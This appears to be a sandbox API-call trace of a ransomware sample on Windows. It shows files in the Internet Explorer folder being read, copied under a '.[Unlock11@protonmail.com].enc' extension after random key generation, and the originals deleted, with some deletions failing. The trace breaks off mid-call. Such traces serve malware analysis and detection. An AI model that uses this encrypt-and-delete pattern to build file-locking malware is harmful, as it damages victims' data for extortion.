[0124.264] GetCurrentThreadId () returned 0x9b0 [0124.264] GetCurrentThreadId () returned 0x9b0 [0124.265] GetCurrentThreadId () returned 0x9b0 [0124.265] GetCurrentThreadId () returned 0x9b0 [0124.265] CloseHandle (hObject=0x3ac) returned 1 [0124.265] GetCurrentThreadId () returned 0x9b0 [0124.266] CloseHandle (hObject=0x39c) returned 1 [0124.266] GetCurrentThreadId () returned 0x9b0 [0124.266] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0 [0124.266] GetCurrentThreadId () returned 0x9b0 [0124.266] GetCurrentThreadId () returned 0x9b0 [0124.266] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\ielowutil.exe", lpFilePart=0x9bada4*="ielowutil.exe") returned 0x30 [0124.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.267] GetCurrentThreadId () returned 0x9b0 [0124.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaee0 [0124.267] GetLastError () returned 0x0 [0124.267] GetLastError () returned 0x0 [0124.267] GetLastError () returned 0x0 [0124.267] GetLastError () returned 0x0 [0124.267] GetCurrentThreadId () returned 0x9b0 [0124.267] GetLastError () returned 0x0 [0124.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaee0 | out: hHeap=0x2ad0000) returned 1 [0124.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaee0 [0124.268] GetLastError () returned 0x0 [0124.268] GetLastError () returned 0x0 [0124.268] GetLastError () returned 0x0 [0124.268] GetLastError () returned 0x0 [0124.268] GetCurrentThreadId () returned 0x9b0 [0124.268] GetLastError () returned 0x0 [0124.268] GetCurrentThreadId () returned 0x9b0 [0124.268] GetLastError () returned 0x0 [0124.269] GetLastError () returned 0x0 [0124.269] GetLastError () returned 0x0 [0124.269] GetLastError () returned 0x0 [0124.269] GetCurrentThreadId () returned 0x9b0 [0124.269] GetLastError () returned 0x0 [0124.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaee0 | out: hHeap=0x2ad0000) returned 1 [0124.269] GetLastError () returned 0x0 [0124.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0124.269] GetLastError () returned 0x0 [0124.269] GetLastError () returned 0x0 [0124.269] GetLastError () returned 0x0 [0124.270] GetCurrentThreadId () returned 0x9b0 [0124.270] GetLastError () returned 0x0 [0124.270] GetLastError () returned 0x0 [0124.270] GetLastError () returned 0x0 [0124.270] GetLastError () returned 0x0 [0124.270] GetLastError () returned 0x0 [0124.270] GetCurrentThreadId () returned 0x9b0 [0124.270] GetLastError () returned 0x0 [0124.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.270] GetLastError () returned 0x0 [0124.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] GetCurrentThreadId () returned 0x9b0 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] GetLastError () returned 0x0 [0124.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.271] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00)) returned 1 [0124.272] GetLastError () returned 0x0 [0124.272] GetCurrentThreadId () returned 0x9b0 [0124.272] GetLastError () returned 0x0 [0124.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0124.272] GetCurrentThreadId () returned 0x9b0 [0124.272] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0124.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0124.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0124.273] GetCurrentThreadId () returned 0x9b0 [0124.273] GetLastError () returned 0x0 [0124.273] GetLastError () returned 0x0 [0124.273] GetLastError () returned 0x0 [0124.273] GetLastError () returned 0x0 [0124.273] GetCurrentThreadId () returned 0x9b0 [0124.273] GetLastError () returned 0x0 [0124.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0124.274] GetLastError () returned 0x0 [0124.274] GetLastError () returned 0x0 [0124.274] GetLastError () returned 0x0 [0124.274] GetLastError () returned 0x0 [0124.274] GetCurrentThreadId () returned 0x9b0 [0124.274] GetLastError () returned 0x0 [0124.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0124.274] GetCurrentThreadId () returned 0x9b0 [0124.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32655e8 [0124.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0124.275] GetLastError () returned 0x0 [0124.275] GetLastError () returned 0x0 [0124.275] GetLastError () returned 0x0 [0124.275] GetLastError () returned 0x0 [0124.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265528 [0124.275] GetLastError () returned 0x0 [0124.275] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.276] GetFileType (hFile=0x39c) returned 0x1 [0124.276] GetLastError () returned 0x0 [0124.276] GetCurrentThreadId () returned 0x9b0 [0124.276] GetLastError () returned 0x0 [0124.276] GetFileType (hFile=0x39c) returned 0x1 [0124.276] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.276] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.276] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.276] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.276] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.276] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.276] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.277] GetLastError () returned 0x0 [0124.277] GetCurrentThreadId () returned 0x9b0 [0124.277] GetLastError () returned 0x0 [0124.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0124.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.277] GetLastError () returned 0x0 [0124.277] GetLastError () returned 0x0 [0124.277] GetLastError () returned 0x0 [0124.277] GetLastError () returned 0x0 [0124.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265618 [0124.278] GetLastError () returned 0x0 [0124.278] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.279] GetFileType (hFile=0x3ac) returned 0x1 [0124.279] GetLastError () returned 0x0 [0124.279] GetCurrentThreadId () returned 0x9b0 [0124.279] GetLastError () returned 0x0 [0124.279] GetFileType (hFile=0x3ac) returned 0x1 [0124.279] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.280] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.280] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.280] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.280] GetLastError () returned 0x0 [0124.280] GetCurrentThreadId () returned 0x9b0 [0124.280] GetLastError () returned 0x0 [0124.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.280] GetLastError () returned 0x0 [0124.280] GetLastError () returned 0x0 [0124.281] GetCurrentThreadId () returned 0x9b0 [0124.281] GetLastError () returned 0x0 [0124.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.281] GetLastError () returned 0x0 [0124.281] GetLastError () returned 0x0 [0124.281] GetCurrentThreadId () returned 0x9b0 [0124.281] GetLastError () returned 0x0 [0124.281] GetLastError () returned 0x0 [0124.318] GetLastError () returned 0x0 [0124.318] GetCurrentThreadId () returned 0x9b0 [0124.318] GetLastError () returned 0x0 [0124.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655e8 | out: hHeap=0x2ad0000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.319] GetCurrentThreadId () returned 0x9b0 [0124.319] GetLastError () returned 0x0 [0124.319] GetLastError () returned 0x0 [0124.319] GetLastError () returned 0x0 [0124.319] GetLastError () returned 0x0 [0124.319] GetCurrentThreadId () returned 0x9b0 [0124.319] GetLastError () returned 0x0 [0124.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.320] GetLastError () returned 0x0 [0124.322] GetLastError () returned 0x0 [0124.322] GetCurrentThreadId () returned 0x9b0 [0124.322] GetLastError () returned 0x0 [0124.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.322] GetLastError () returned 0x0 [0124.325] GetLastError () returned 0x0 [0124.341] GetCurrentThreadId () returned 0x9b0 [0124.341] GetLastError () returned 0x0 [0124.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655b8 [0124.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.342] GetCurrentThreadId () returned 0x9b0 [0124.342] GetLastError () returned 0x0 [0124.342] GetLastError () returned 0x0 [0124.342] GetLastError () returned 0x0 [0124.342] GetLastError () returned 0x0 [0124.342] GetCurrentThreadId () returned 0x9b0 [0124.343] GetLastError () returned 0x0 [0124.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0124.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0124.343] GetLastError () returned 0x0 [0124.344] GetLastError () returned 0x0 [0124.344] GetCurrentThreadId () returned 0x9b0 [0124.344] GetLastError () returned 0x0 [0124.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.345] GetLastError () returned 0x0 [0124.345] GetLastError () returned 0x0 [0124.345] GetCurrentThreadId () returned 0x9b0 [0124.345] GetLastError () returned 0x0 [0124.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265578 [0124.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655b8 | out: hHeap=0x2ad0000) returned 1 [0124.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.345] GetCurrentThreadId () returned 0x9b0 [0124.346] GetLastError () returned 0x0 [0124.346] GetLastError () returned 0x0 [0124.346] GetLastError () returned 0x0 [0124.346] GetLastError () returned 0x0 [0124.346] GetCurrentThreadId () returned 0x9b0 [0124.346] GetLastError () returned 0x0 [0124.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0124.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.347] GetLastError () returned 0x0 [0124.348] GetLastError () returned 0x0 [0124.348] GetCurrentThreadId () returned 0x9b0 [0124.348] GetLastError () returned 0x0 [0124.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0124.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.348] GetLastError () returned 0x0 [0124.349] GetLastError () returned 0x0 [0124.349] GetCurrentThreadId () returned 0x9b0 [0124.349] GetLastError () returned 0x0 [0124.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32655e8 [0124.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265578 | out: hHeap=0x2ad0000) returned 1 [0124.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6c18) returned 0x37c63b0 [0124.350] GetCurrentThreadId () returned 0x9b0 [0124.350] GetLastError () returned 0x0 [0124.350] GetLastError () returned 0x0 [0124.350] GetLastError () returned 0x0 [0124.350] GetLastError () returned 0x0 [0124.350] GetCurrentThreadId () returned 0x9b0 [0124.350] GetLastError () returned 0x0 [0124.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c63b0 | out: hHeap=0x2ad0000) returned 1 [0124.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0124.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0124.351] GetLastError () returned 0x0 [0124.351] GetLastError () returned 0x0 [0124.351] GetCurrentThreadId () returned 0x9b0 [0124.351] GetLastError () returned 0x0 [0124.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37ccfd0 | out: hHeap=0x2ad0000) returned 1 [0124.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37c63b0 [0124.352] GetLastError () returned 0x0 [0124.352] GetLastError () returned 0x0 [0124.352] GetCurrentThreadId () returned 0x9b0 [0124.352] GetLastError () returned 0x0 [0124.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c63b0 | out: hHeap=0x2ad0000) returned 1 [0124.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.352] GetLastError () returned 0x0 [0124.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0124.352] CloseHandle (hObject=0x3ac) returned 1 [0124.353] GetLastError () returned 0x0 [0124.353] GetCurrentThreadId () returned 0x9b0 [0124.353] GetLastError () returned 0x0 [0124.353] GetLastError () returned 0x0 [0124.353] CloseHandle (hObject=0x39c) returned 1 [0124.353] GetLastError () returned 0x0 [0124.353] GetCurrentThreadId () returned 0x9b0 [0124.353] GetLastError () returned 0x0 [0124.353] GetLastError () returned 0x0 [0124.354] GetLastError () returned 0x0 [0124.354] GetLastError () returned 0x0 [0124.354] GetLastError () returned 0x0 [0124.354] DeleteFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0 [0124.354] GetLastError () returned 0x5 [0124.354] GetCurrentThreadId () returned 0x9b0 [0124.354] GetLastError () returned 0x5 [0124.354] GetLastError () returned 0x5 [0124.354] GetLastError () returned 0x5 [0124.354] GetLastError () returned 0x5 [0124.355] LocalFree (hMem=0x1053c70) returned 0x0 [0124.355] GetLastError () returned 0x5 [0124.355] GetLastError () returned 0x5 [0124.355] GetLastError () returned 0x5 [0124.355] GetLastError () returned 0x5 [0124.355] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\IEShims.dll", lpFilePart=0x9bada4*="IEShims.dll") returned 0x2e [0124.355] GetCurrentThreadId () returned 0x9b0 [0124.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.356] GetCurrentThreadId () returned 0x9b0 [0124.356] GetLastError () returned 0x5 [0124.356] GetLastError () returned 0x5 [0124.356] GetLastError () returned 0x5 [0124.356] GetLastError () returned 0x5 [0124.356] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Internet Explorer\\iexplore.exe", lpFilePart=0x9bada4*="iexplore.exe") returned 0x2f [0124.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.357] GetCurrentThreadId () returned 0x9b0 [0124.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0124.357] GetLastError () returned 0x0 [0124.357] GetLastError () returned 0x0 [0124.357] GetLastError () returned 0x0 [0124.357] GetLastError () returned 0x0 [0124.357] GetCurrentThreadId () returned 0x9b0 [0124.357] GetLastError () returned 0x0 [0124.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.358] GetCurrentThreadId () returned 0x9b0 [0124.358] GetLastError () returned 0x0 [0124.358] GetCurrentThreadId () returned 0x9b0 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.358] GetLastError () returned 0x0 [0124.359] GetCurrentThreadId () returned 0x9b0 [0124.359] GetLastError () returned 0x0 [0124.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0124.359] GetLastError () returned 0x0 [0124.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0124.359] GetLastError () returned 0x0 [0124.359] GetLastError () returned 0x0 [0124.359] GetLastError () returned 0x0 [0124.359] GetCurrentThreadId () returned 0x9b0 [0124.359] GetLastError () returned 0x0 [0124.359] GetLastError () returned 0x0 [0124.360] GetLastError () returned 0x0 [0124.360] GetLastError () returned 0x0 [0124.360] GetLastError () returned 0x0 [0124.360] GetCurrentThreadId () returned 0x9b0 [0124.360] GetLastError () returned 0x0 [0124.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0124.360] GetLastError () returned 0x0 [0124.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0124.360] GetLastError () returned 0x0 [0124.360] GetLastError () returned 0x0 [0124.360] GetLastError () returned 0x0 [0124.361] GetCurrentThreadId () returned 0x9b0 [0124.361] GetLastError () returned 0x0 [0124.361] GetCurrentThreadId () returned 0x9b0 [0124.361] GetLastError () returned 0x0 [0124.361] GetLastError () returned 0x0 [0124.361] GetLastError () returned 0x0 [0124.361] GetLastError () returned 0x0 [0124.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0124.361] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340)) returned 1 [0124.361] GetLastError () returned 0x0 [0124.362] GetCurrentThreadId () returned 0x9b0 [0124.362] GetLastError () returned 0x0 [0124.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.362] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0124.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0124.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0124.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf80 [0124.362] GetCurrentThreadId () returned 0x9b0 [0124.362] GetLastError () returned 0x0 [0124.362] GetLastError () returned 0x0 [0124.363] GetLastError () returned 0x0 [0124.363] GetLastError () returned 0x0 [0124.363] GetCurrentThreadId () returned 0x9b0 [0124.363] GetLastError () returned 0x0 [0124.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf80 | out: hHeap=0x2ad0000) returned 1 [0124.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.363] GetLastError () returned 0x0 [0124.363] GetLastError () returned 0x0 [0124.363] GetLastError () returned 0x0 [0124.363] GetLastError () returned 0x0 [0124.363] GetCurrentThreadId () returned 0x9b0 [0124.363] GetLastError () returned 0x0 [0124.364] GetCurrentThreadId () returned 0x9b0 [0124.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32655f8 [0124.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4100 | out: hHeap=0x2ad0000) returned 1 [0124.364] GetLastError () returned 0x0 [0124.364] GetLastError () returned 0x0 [0124.364] GetLastError () returned 0x0 [0124.364] GetLastError () returned 0x0 [0124.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265578 [0124.364] GetLastError () returned 0x0 [0124.365] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, 